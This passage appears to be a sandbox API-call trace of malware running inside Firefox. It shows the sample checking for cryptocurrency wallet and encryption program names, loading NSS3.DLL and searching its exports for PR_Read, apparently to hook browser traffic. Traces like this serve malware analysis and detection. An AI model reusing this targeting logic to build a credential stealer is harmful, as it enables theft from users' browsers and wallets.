lstrcatA (in: lpString1="Local\\", lpString2="{70017650-0FA6-225C-19A4-B3765D18970A}" | out: lpString1="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}" [0066.797] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.797] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 38 [0066.797] lstrlenA (lpString="Local\\") returned 6 [0066.797] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18f10 [0066.797] lstrcpyA (in: lpString1=0xe18f10, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.797] lstrcatA (in: lpString1="Local\\", lpString2="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" | out: lpString1="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0066.797] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.797] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 38 [0066.797] lstrlenA (lpString="Local\\") returned 6 [0066.797] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2d) returned 0xe18f48 [0066.797] lstrcpyA (in: lpString1=0xe18f48, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0066.797] lstrcatA (in: lpString1="Local\\", lpString2="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" | out: lpString1="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0066.797] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe189e0 [0066.797] wsprintfA (in: param_1=0xe189e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4A9E43FA-2179-0C40-FB1E-E5005F32E934}") returned 38 [0066.797] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe18f80 [0066.797] lstrcatA (in: lpString1="", lpString2="{4A9E43FA-2179-0C40-FB1E-E5005F32E934}" | out: lpString1="{4A9E43FA-2179-0C40-FB1E-E5005F32E934}") returned="{4A9E43FA-2179-0C40-FB1E-E5005F32E934}" [0066.797] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189e0 | out: hHeap=0xa20000) returned 1 [0066.797] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76c00000 [0066.797] GetProcAddress (hModule=0x76c00000, lpProcName="GetWindowThreadProcessId") returned 0x76c191b4 [0066.797] GetProcAddress (hModule=0x76c00000, lpProcName="FindWindowA") returned 0x76c1ffe6 [0066.797] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0066.797] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x3ffbb0 | out: lpdwProcessId=0x3ffbb0) returned 0x45c [0066.798] lstrlenW (lpString="") returned 0 [0066.798] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xf8 [0066.798] RtlAddVectoredExceptionHandler (FirstHandler=0x0, VectoredHandler=0x824cff) returned 0x4c4988 [0066.798] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x40) returned 0xe18fb0 [0066.798] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="{4A9E43FA-2179-0C40-FB1E-E5005F32E934}") returned 0xfc [0066.798] GetLastError () returned 0x0 [0066.798] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0xc) returned 0xe189e0 [0066.798] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0066.798] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0066.798] GetModuleHandleA (lpModuleName="kernelbase") returned 0x75450000 [0066.798] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x838) returned 0xe18ff8 [0066.798] GetProcAddress (hModule=0x75220000, lpProcName="GetUserNameA") returned 0x7524a4b4 [0066.798] GetUserNameA (in: lpBuffer=0x0, pcbBuffer=0x3ffba4 | out: lpBuffer=0x0, pcbBuffer=0x3ffba4) returned 0 [0066.801] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x12) returned 0xe19838 [0066.801] GetProcAddress (hModule=0x75220000, lpProcName="GetUserNameA") returned 0x7524a4b4 [0066.801] GetUserNameA (in: lpBuffer=0xe19838, pcbBuffer=0x3ffba4 | out: lpBuffer="aETAdzjz", pcbBuffer=0x3ffba4) returned 1 [0066.801] GetCurrentThreadId () returned 0xb68 [0066.801] GetProcAddress (hModule=0x76c00000, lpProcName="GetThreadDesktop") returned 0x76c16c63 [0066.801] GetThreadDesktop (dwThreadId=0xb68) returned 0x4c [0066.802] GetProcAddress (hModule=0x76c00000, lpProcName="GetUserObjectInformationA") returned 0x76c3d396 [0066.802] GetUserObjectInformationA (in: hObj=0x4c, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x3ffb88 | out: pvInfo=0x0, lpnLengthNeeded=0x3ffb88) returned 0 [0066.802] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x10) returned 0xe189f8 [0066.802] GetProcAddress (hModule=0x76c00000, lpProcName="GetUserObjectInformationA") returned 0x76c3d396 [0066.802] GetUserObjectInformationA (in: hObj=0x4c, nIndex=2, pvInfo=0xe189f8, nLength=0x10, lpnLengthNeeded=0x3ffb88 | out: pvInfo=0xe189f8, lpnLengthNeeded=0x3ffb88) returned 1 [0066.802] lstrlenA (lpString="Default") returned 7 [0066.802] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe189f8 | out: hHeap=0xa20000) returned 1 [0066.802] GetProcAddress (hModule=0x76c00000, lpProcName="CloseDesktop") returned 0x76c200fa [0066.802] CloseDesktop (hDesktop=0x4c) returned 0 [0066.802] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x208) returned 0xe19858 [0066.802] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe19858, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe")) returned 0x32 [0066.802] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.802] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="electrum-") returned 0x0 [0066.804] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.804] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="bitcoin") returned 0x0 [0066.804] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.804] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="multibit-hd") returned 0x0 [0066.805] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.805] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="bither") returned 0x0 [0066.805] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.805] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="msigna.") returned 0x0 [0066.805] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.805] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="Jaxx.") returned 0x0 [0066.805] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.805] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="JEdudus.") returned 0x0 [0066.805] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.805] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="armory-") returned 0x0 [0066.805] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.805] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="veracrypt") returned 0x0 [0066.805] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0066.805] StrStrIW (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch="truecrypt") returned 0x0 [0066.805] LoadLibraryA (lpLibFileName="NSPR4.DLL") returned 0x0 [0066.808] LoadLibraryA (lpLibFileName="NSS3.DLL") returned 0x73ac0000 [0068.710] GetProcAddress (hModule=0x73ac0000, lpProcName="PR_GetError") returned 0x73ac7aa0 [0068.728] GetProcAddress (hModule=0x73ac0000, lpProcName="PR_SetError") returned 0x73ac7b00 [0068.728] GetModuleHandleA (lpModuleName="NSS3.DLL") returned 0x73ac0000 [0068.728] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe19a68 [0068.728] lstrcmpA (lpString1="ATOB_AsciiToData", lpString2="PR_Read") returned -1 [0068.728] lstrcmpA (lpString1="ATOB_AsciiToData_Util", lpString2="PR_Read") returned -1 [0068.728] lstrcmpA (lpString1="ATOB_ConvertAsciiToItem", lpString2="PR_Read") returned -1 [0068.728] lstrcmpA (lpString1="ATOB_ConvertAsciiToItem_Util", lpString2="PR_Read") returned -1 [0068.728] lstrcmpA (lpString1="BTOA_ConvertItemToAscii", lpString2="PR_Read") returned -1 [0068.728] lstrcmpA (lpString1="BTOA_ConvertItemToAscii_Util", lpString2="PR_Read") returned -1 [0068.728] lstrcmpA (lpString1="BTOA_DataToAscii", lpString2="PR_Read") returned -1 [0068.728] lstrcmpA (lpString1="BTOA_DataToAscii_Util", lpString2="PR_Read") returned -1 [0068.728] lstrcmpA (lpString1="CERT_AddCertToListHead", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_AddCertToListSorted", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_AddCertToListTail", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_AddExtension", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_AddOCSPAcceptableResponses", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_AddOKDomainName", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_AddRDN", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_AllocCERTRevocationFlags", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_AsciiToName", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CRLCacheRefreshIssuer", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CacheCRL", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CacheOCSPResponseFromSideChannel", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CertChainFromCert", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CertListFromCert", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CertTimesValid", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_ChangeCertTrust", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CheckCertUsage", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CheckCertValidTimes", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CheckNameSpace", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CheckOCSPStatus", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_ClearOCSPCache", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CompareCerts", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CompareName", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CompareValidityTimes", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CompleteCRLDecodeEntries", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_ConvertAndDecodeCertificate", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CopyName", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CopyRDN", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateAVA", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateCertificate", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateCertificateRequest", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateEncodedOCSPErrorResponse", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateEncodedOCSPSuccessResponse", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateName", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateOCSPCertID", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateOCSPRequest", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseGood", lpString2="PR_Read") returned -1 [0068.729] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseRevoked", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_CreateOCSPSingleResponseUnknown", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_CreateRDN", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_CreateSubjectCertList", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_CreateValidity", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeAVAValue", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeAltNameExtension", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeAuthInfoAccessExtension", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeAuthKeyID", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeBasicConstraintValue", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeCRLDistributionPoints", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeCertFromPackage", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeCertPackage", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeCertificatePoliciesExtension", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeDERCrl", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeDERCrlWithFlags", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeGeneralName", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeNameConstraintsExtension", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeOCSPRequest", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeOCSPResponse", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeOidSequence", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodePrivKeyUsagePeriodExtension", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeTrustString", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DecodeUserNotice", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DerNameToAscii", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyCERTRevocationFlags", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyCertArray", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyCertList", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyCertificate", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyCertificateList", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyCertificatePoliciesExtension", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyCertificateRequest", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyName", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyOCSPCertID", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyOCSPRequest", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyOCSPResponse", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyOidSequence", lpString2="PR_Read") returned -1 [0068.730] lstrcmpA (lpString1="CERT_DestroyUserNotice", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_DestroyValidity", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_DisableOCSPChecking", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_DisableOCSPDefaultResponder", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_DistNamesFromCertList", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_DupCertList", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_DupCertificate", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_DupDistNames", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EnableOCSPChecking", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EnableOCSPDefaultResponder", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeAltNameExtension", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeAndAddBitStrExtension", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeAuthKeyID", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeBasicConstraintValue", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeCRLDistributionPoints", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeCertPoliciesExtension", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeGeneralName", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeInfoAccessExtension", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeInhibitAnyExtension", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeNameConstraintsExtension", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeNoticeReference", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeOCSPRequest", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodePolicyConstraintsExtension", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodePolicyMappingExtension", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeSubjectKeyID", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_EncodeUserNotice", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_ExtractPublicKey", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FilterCertListByCANames", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FilterCertListByUsage", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FilterCertListForUserCerts", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FindCRLEntryReasonExten", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FindCRLNumberExten", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FindCertByDERCert", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FindCertByIssuerAndSN", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FindCertByName", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FindCertByNickname", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FindCertByNicknameOrEmailAddr", lpString2="PR_Read") returned -1 [0068.731] lstrcmpA (lpString1="CERT_FindCertByNicknameOrEmailAddrForUsage", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FindCertBySubjectKeyID", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FindCertExtension", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FindCertIssuer", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FindKeyUsageExtension", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FindNameConstraintsExten", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FindSMimeProfile", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FindSubjectKeyIDExtension", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FindUserCertByUsage", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FindUserCertsByUsage", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FinishCertificateRequestAttributes", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FinishExtensions", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FormatName", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FreeDistNames", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_FreeNicknames", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GenTime2FormattedAscii", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GenTime2FormattedAscii_Util", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetAVATag", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCertChainFromCert", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCertEmailAddress", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCertIssuerAndSN", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCertNicknames", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCertTimes", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCertTrust", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCertUid", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCertificateNames", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCertificateRequestExtensions", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetClassicOCSPDisabledPolicy", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetClassicOCSPEnabledHardFailurePolicy", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetClassicOCSPEnabledSoftFailurePolicy", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCommonName", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetConstrainedCertificateNames", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetCountryName", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetDBContentVersion", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetDefaultCertDB", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetDomainComponentName", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetEncodedOCSPResponse", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetFirstEmailAddress", lpString2="PR_Read") returned -1 [0068.732] lstrcmpA (lpString1="CERT_GetLocalityName", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetNextEmailAddress", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetNextGeneralName", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetNextNameConstraint", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetOCSPAuthorityInfoAccessLocation", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetOCSPResponseStatus", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetOCSPStatusForCertID", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetOidString", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetOrgName", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetOrgUnitName", lpString2="PR_Read") returned -1 [0068.733] lstrcmpA (lpString1="CERT_GetPKIXVerifyNistRevocationPolicy", lpString2="PR_Read") returned -1 [0068.768] lstrcmpA (lpString1="CERT_GetPrevGeneralName", lpString2="PR_Read") returned -1 [0068.768] lstrcmpA (lpString1="CERT_GetPrevNameConstraint", lpString2="PR_Read") returned -1 [0068.768] lstrcmpA (lpString1="CERT_GetSSLCACerts", lpString2="PR_Read") returned -1 [0068.768] lstrcmpA (lpString1="CERT_GetSlopTime", lpString2="PR_Read") returned -1 [0068.768] lstrcmpA (lpString1="CERT_GetStateName", lpString2="PR_Read") returned -1 [0068.768] lstrcmpA (lpString1="CERT_GetUsePKIXForValidation", lpString2="PR_Read") returned -1 [0068.768] lstrcmpA (lpString1="CERT_GetValidDNSPatternsFromCert", lpString2="PR_Read") returned -1 [0068.768] lstrcmpA (lpString1="CERT_Hexify", lpString2="PR_Read") returned -1 [0068.769] lstrcmpA (lpString1="CERT_ImportCAChain", lpString2="PR_Read") returned -1 [0068.772] lstrcmpA (lpString1="CERT_ImportCAChainTrusted", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_ImportCRL", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_ImportCerts", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_IsCACert", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_IsCADERCert", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_IsRootDERCert", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_IsUserCert", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_KeyFromDERCrl", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_MakeCANickname", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_MergeExtensions", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_NameToAscii", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_NameToAsciiInvertible", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_NewCertList", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_NewTempCertificate", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_NicknameStringsFromCertList", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_OCSPCacheSettings", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_OpenCertDBFilename", lpString2="PR_Read") returned -1 [0068.773] lstrcmpA (lpString1="CERT_PKIXVerifyCert", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_PostOCSPRequest", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_RFC1485_EscapeAndQuote", lpString2="PR_Read") returned -1 [0068.774] lstrcmpA (lpString1="CERT_RegisterAlternateOCSPAIAInfoCallBack", 